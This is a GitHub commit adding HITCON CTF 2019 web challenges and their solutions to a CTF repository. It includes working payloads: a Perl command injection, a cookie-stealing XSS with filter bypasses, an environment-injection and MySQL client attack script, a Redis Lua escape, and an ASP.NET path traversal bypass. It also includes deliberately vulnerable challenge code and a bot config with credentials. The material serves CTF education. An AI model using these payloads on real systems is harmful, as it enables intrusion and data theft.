Skip to content

Commit 18e83f4

Browse files
committed
add 2019
1 parent 47d8ac9 commit 18e83f4

File tree

18 files changed

+1393
-6
lines changed

18 files changed

+1393
-6
lines changed

README.md

Lines changed: 195 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,28 +1,36 @@
11

22
# My CTF Web Challenges
33

4-
This is the repo of CTF challenges I made, including the source code, write-up and idea explanation!
4+
This is the repository of all CTF challenges I made, including the source code, write-up and idea explanation!
55
Hope you like it :)
66

77

8-
**P.s.** BTW, `Babyfirst` series are my favorite in all challenges. If you don't have time to see all, please look the them at least!
8+
**P.s.** BTW, the `Babyfirst` series and `One Line PHP Challenge` are my favorite challenges. If you haven't enough time, please look them at least!
99

1010
* [Babyfirst](#babyfirst)
1111
* [Babyfirst Revenge](#babyfirst-revenge)
1212
* [Babyfirst Revenge v2](#babyfirst-revenge-v2)
13+
* [One Line PHP Challenge](#one-line-php-challenge)
1314

1415
<br>
1516

16-
You can contact me via:
17-
* orange@chroot.org
18-
* [blog.orange.tw](http://blog.orange.tw/)
19-
* [@orange_8361](https://twitter.com/orange_8361)
17+
And you can find me via:
18+
* Email: orange@chroot.org
19+
* Blog: [http://blog.orange.tw](http://blog.orange.tw/)
20+
* Twitter: [@orange_8361](https://twitter.com/orange_8361)
2021

2122
<br>
2223

2324

2425
## **Table of Content**
2526

27+
* [HITCON 2019 Quals](#virtual-public-network)
28+
* [Virtual Public Network](#virtual-public-network)
29+
* [Bounty Pl33z](#bounty-pl33z)
30+
* [GoGo PowerSQL](#gogo-powersql)
31+
* [Luatic](#luatic)
32+
* [Buggy .Net](#buggy-net)
33+
2634
* [HITCON 2018](#one-line-php-challenge)
2735
* [One Line PHP Challenge](#one-line-php-challenge)
2836
* [Baby Cake](#baby-cake)
@@ -64,6 +72,187 @@ You can contact me via:
6472

6573
<br>
6674

75+
## **Virtual Public Network**
76+
77+
Difficulty: **★☆**
78+
Solved: **81 / 1147**
79+
Tag: **WhiteBox**, **Perl**, **Command Injection**
80+
81+
#### Source Code
82+
83+
* [Source](hitcon-ctf-2019/virtual-public-network/)
84+
85+
#### Solution
86+
87+
* Refer my blog and Black Hat 2019 USA slides for details
88+
* [Attacking SSL VPN - Part 3: The Golden Pulse Secure SSL VPN RCE Chain, with Twitter as Case Study!](https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html)
89+
* [Infiltrating Corporate Intranet Like NSA: Pre-auth RCE on Leading SSL VPNs](https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf)
90+
91+
```
92+
http://13.231.137.9/cgi-bin/diag.cgi
93+
?options=-r@a="ls -alh /",system@a%23 2>tmp/orange.thtml <
94+
&tpl=orange
95+
```
96+
97+
98+
#### Write Ups
99+
100+
* TBD
101+
102+
103+
## **Bounty Pl33z**
104+
105+
Difficulty: **★★★☆**
106+
Solved: **30 / 1147**
107+
Tag: **XSS**
108+
109+
#### Source Code
110+
111+
* [Website](hitcon-ctf-2019/bounty-pl33z/web/)
112+
* [XSS bot](hitcon-ctf-2019/bounty-pl33z/bot/)
113+
114+
#### Solution
115+
116+
* Idea from [@FD](https://twitter.com/filedescriptor) - A little known JavaScript comment style [SingleLineHTMLOpenComment](https://www.ecma-international.org/ecma-262/10.0/index.html#prod-annexB-SingleLineHTMLOpenComment) and [HTMLCloseComment](https://www.ecma-international.org/ecma-262/10.0/index.html#prod-annexB-HTMLCloseComment) in EMCA specification.
117+
118+
Here we use unicode `U+2028` and `U+3002` to bypass `\n` and `.` filters.
119+
120+
```
121+
http://3.114.5.202/fd.php
122+
?q=ssl。orange。tw?xx"+document[`cookie`]%E2%80%A8-->
123+
```
124+
125+
#### Unintended Solution
126+
127+
* Nesting template expression
128+
129+
```
130+
http://3.114.5.202/fd.php
131+
?q=ssl。orange。tw?`+"+document[`cookie`];(`${`
132+
```
133+
134+
#### Write Ups
135+
136+
* TBD
137+
138+
## **GoGo PowerSQL**
139+
140+
Difficulty: **★★★☆**
141+
Solved: **16 / 1147**
142+
Tag: **Environment Injection**, **MySQL Client Attack**
143+
144+
#### Source Code
145+
146+
* [Docker](hitcon-ctf-2019/gogo-powersql/)
147+
148+
#### Solution
149+
150+
1. Buffer Overflow the `DB_HOST` in BSS
151+
2. Due to the [patch](hitcon-ctf-2019/gogo-powersql/Dockerfile#L20), we can pollute environment variable which are not in the [Blacklist](https://github.com/embedthis/goahead/blob/v4.0.0/src/cgi.c#L170).
152+
3. Hijack MySQL connection by ENV such as `LOCALDOMAIN` or `HOSTALIAES`
153+
4. Read `/FLAG` by `LOAD DATA LOCAL INFILE`.
154+
155+
```python
156+
import requests
157+
158+
payload = ['x=x' for x in range(254)]
159+
payload.append('name=x')
160+
payload.append('HOSTALIASES=/proc/self/fd/0')
161+
payload.append('orangeeeee=go')
162+
payload = '&'.join(payload)
163+
164+
data = 'orangeeeee my.orange.tw'
165+
166+
r = requests.post('http://13.231.38.172/cgi-bin/query?'+payload, data=data)
167+
print r.content
168+
```
169+
170+
```shell
171+
$ git clone https://github.com/lcark/MysqlClientAttack.git
172+
$ cd MysqlClientAttack
173+
$ python main.py -F /FLAG
174+
```
175+
176+
177+
178+
#### Write Ups
179+
180+
* TBD
181+
182+
## **Luatic**
183+
184+
Difficulty: **★★☆**
185+
Solved: **42 / 1147**
186+
Tag: **WhiteBox**, **Redis**, **Lua**
187+
188+
#### Source Code
189+
190+
* [Docker](hitcon-ctf-2019/luatic/)
191+
192+
#### Solution
193+
194+
1. Override PHP global variables.
195+
2. Redis [implements](https://github.com/antirez/redis/blob/ee1cef189fff604f165b2d20a307545840de944e/src/scripting.c#L1363) `eval` command by string concatenations so that we can escape the original Lua function to override global objects.
196+
197+
```
198+
http://54.250.242.183/luatic.php
199+
?_POST[TEST_KEY]=return 1 end function math:random() return 2
200+
&_POST[TEST_VALUE]=0
201+
&_POST[MY_SET_COMMAND]=eval
202+
&_POST[token]=<token>
203+
&_POST[guess]=2
204+
```
205+
206+
```
207+
http://54.250.242.183/luatic.php
208+
?_POST[token]=<token>
209+
&_POST[guess]=2
210+
```
211+
212+
#### Unintended Solution
213+
214+
* Lua is so magic that there are several unintended solutions. Sorry for the imperfect challenge :(
215+
216+
#### Write Ups
217+
218+
* TBD
219+
220+
## **Buggy .Net**
221+
222+
Difficulty: **★☆**
223+
Solved: **13 / 1147**
224+
Tag: **ASP.NET**, **WhiteBox**
225+
226+
#### Source Code
227+
228+
* [Default.aspx](hitcon-ctf-2019/buggy-net/Default.aspx)
229+
230+
#### Solution
231+
232+
* Using .NET request validation to trigger the exception and bypass the filter
233+
* Idea from [Soroush Dalili](https://twitter.com/irsdl)'s [WAF Bypass Techniques - Using HTTP Standard and Web Servers' Behaviour](https://www.slideshare.net/SoroushDalili/waf-bypass-techniques-using-http-standard-and-web-servers-behaviour) in AppSec Europe 2018(p30~p34)
234+
235+
```
236+
GET / HTTP/1.1
237+
Host: buggy
238+
Content-Type: application/x-www-form-urlencoded; charset=ibm500
239+
Content-Length: 61
240+
241+
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
242+
```
243+
244+
```python
245+
from urllib import quote
246+
247+
s = lambda x: quote(x.encode('ibm500'))
248+
print '%s=%s&x=%s' % (s('filename'), s('../../FLAG.txt', '<x>'))
249+
```
250+
251+
#### Write Ups
252+
253+
* TBD
254+
255+
67256
## **One Line PHP Challenge**
68257

69258
Difficulty: **★★★★**
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
#!/usr/bin/python
2+
# coding: utf-8
3+
4+
import sys, json
5+
from rq import Queue
6+
from redis import Redis
7+
from base64 import b64decode
8+
9+
import bot
10+
11+
try:
12+
with open('/bot/config.json', 'r') as fp:
13+
REDIS_PASSWORD = json.load(fp)['password']
14+
q = Queue(connection=Redis(password=REDIS_PASSWORD))
15+
q.enqueue(bot.add, b64decode(sys.argv[1]))
16+
print 'Done! Please waiting for the admin :)'
17+
except Exception as e:
18+
print 'Error[%s] Please contact admin' % e.message
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
#!/usr/bin/python
2+
# coding: utf-8
3+
4+
from selenium import webdriver
5+
import time, sys, json, selenium
6+
7+
# cd /bot/ && rq worker -v -u redis://:orangenogg@127.0.0.1:6379/
8+
9+
def add(url):
10+
chrome_options = webdriver.ChromeOptions()
11+
chrome_options.add_argument('--headless')
12+
chrome_options.add_argument('--disable-gpu')
13+
chrome_options.add_argument('--disable-dev-shm-usage')
14+
# chrome_options.add_argument('--no-sandbox')
15+
16+
with open('config.json', 'r') as fp:
17+
ADMIN_URL = json.load(fp)['admin_url']
18+
19+
client = webdriver.Chrome(chrome_options=chrome_options)
20+
client.set_page_load_timeout(5)
21+
client.set_script_timeout(5)
22+
client.get(ADMIN_URL)
23+
client.get(url)
24+
i = 0
25+
while 1:
26+
try:
27+
client.switch_to_alert().accept()
28+
i += 1
29+
if i > 1000:
30+
break
31+
except selenium.common.exceptions.NoAlertPresentException:
32+
break
33+
34+
time.sleep(2)
35+
client.quit()
36+
37+
if __name__ == '__main__':
38+
add(sys.argv[1])
Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
{
2+
"password": "orangenogg",
3+
"server_ip": "3.114.5.202",
4+
"base": "http://3.114.5.202/",
5+
"admin_url": "http://3.114.5.202/.admin.php",
6+
"flag": "hitcon{/FD 1s 0ur g0d <(_ _)>}"
7+
}
Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
<?php
2+
$config = json_decode(file_get_contents("/bot/config.json"));
3+
$ip = $_SERVER['REMOTE_ADDR'];
4+
if ($_SERVER['REMOTE_ADDR'] == $config->server_ip) {
5+
setcookie("flag", $config->flag);
6+
}
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
<?php
2+
$q = isset($_GET['q'])? $_GET['q']: '';
3+
$q = str_replace(array("\r", "\n", "/", "\\", "<", "."), "", $q);
4+
5+
if( substr_count($q, "'") > 1) $q = str_replace("'", "", $q);
6+
if( substr_count($q, '"') > 1) $q = str_replace('"', "", $q);
7+
$host = $q . ".orange.ctf";
8+
9+
?>
10+
<!DOCTYPE html>
11+
<html lang="en">
12+
<head>
13+
<meta charset="utf-8"/>
14+
<script type="text/javascript">
15+
if (window.top == window.self) {
16+
window.self.location.href = "https://<?=$host;?>/oauth/authorize?client_id=1&scope=read&redirect_uri=https://twitter.com/orange_8361";
17+
} else {
18+
var data = JSON.stringify({
19+
message: 'CTF.API.remote',
20+
data: {
21+
location: "https://<?=$host;?>/oauth/authorize?client_id=1&scope=read&redirect_uri=https://twitter.com/orange_8361"
22+
}
23+
});
24+
window.parent.postMessage(
25+
data,
26+
"https://<?=$host;?>"
27+
);
28+
}
29+
</script>
30+
</head>
31+
<body>
32+
</body>
33+
</html>

0 commit comments

Comments
 (0)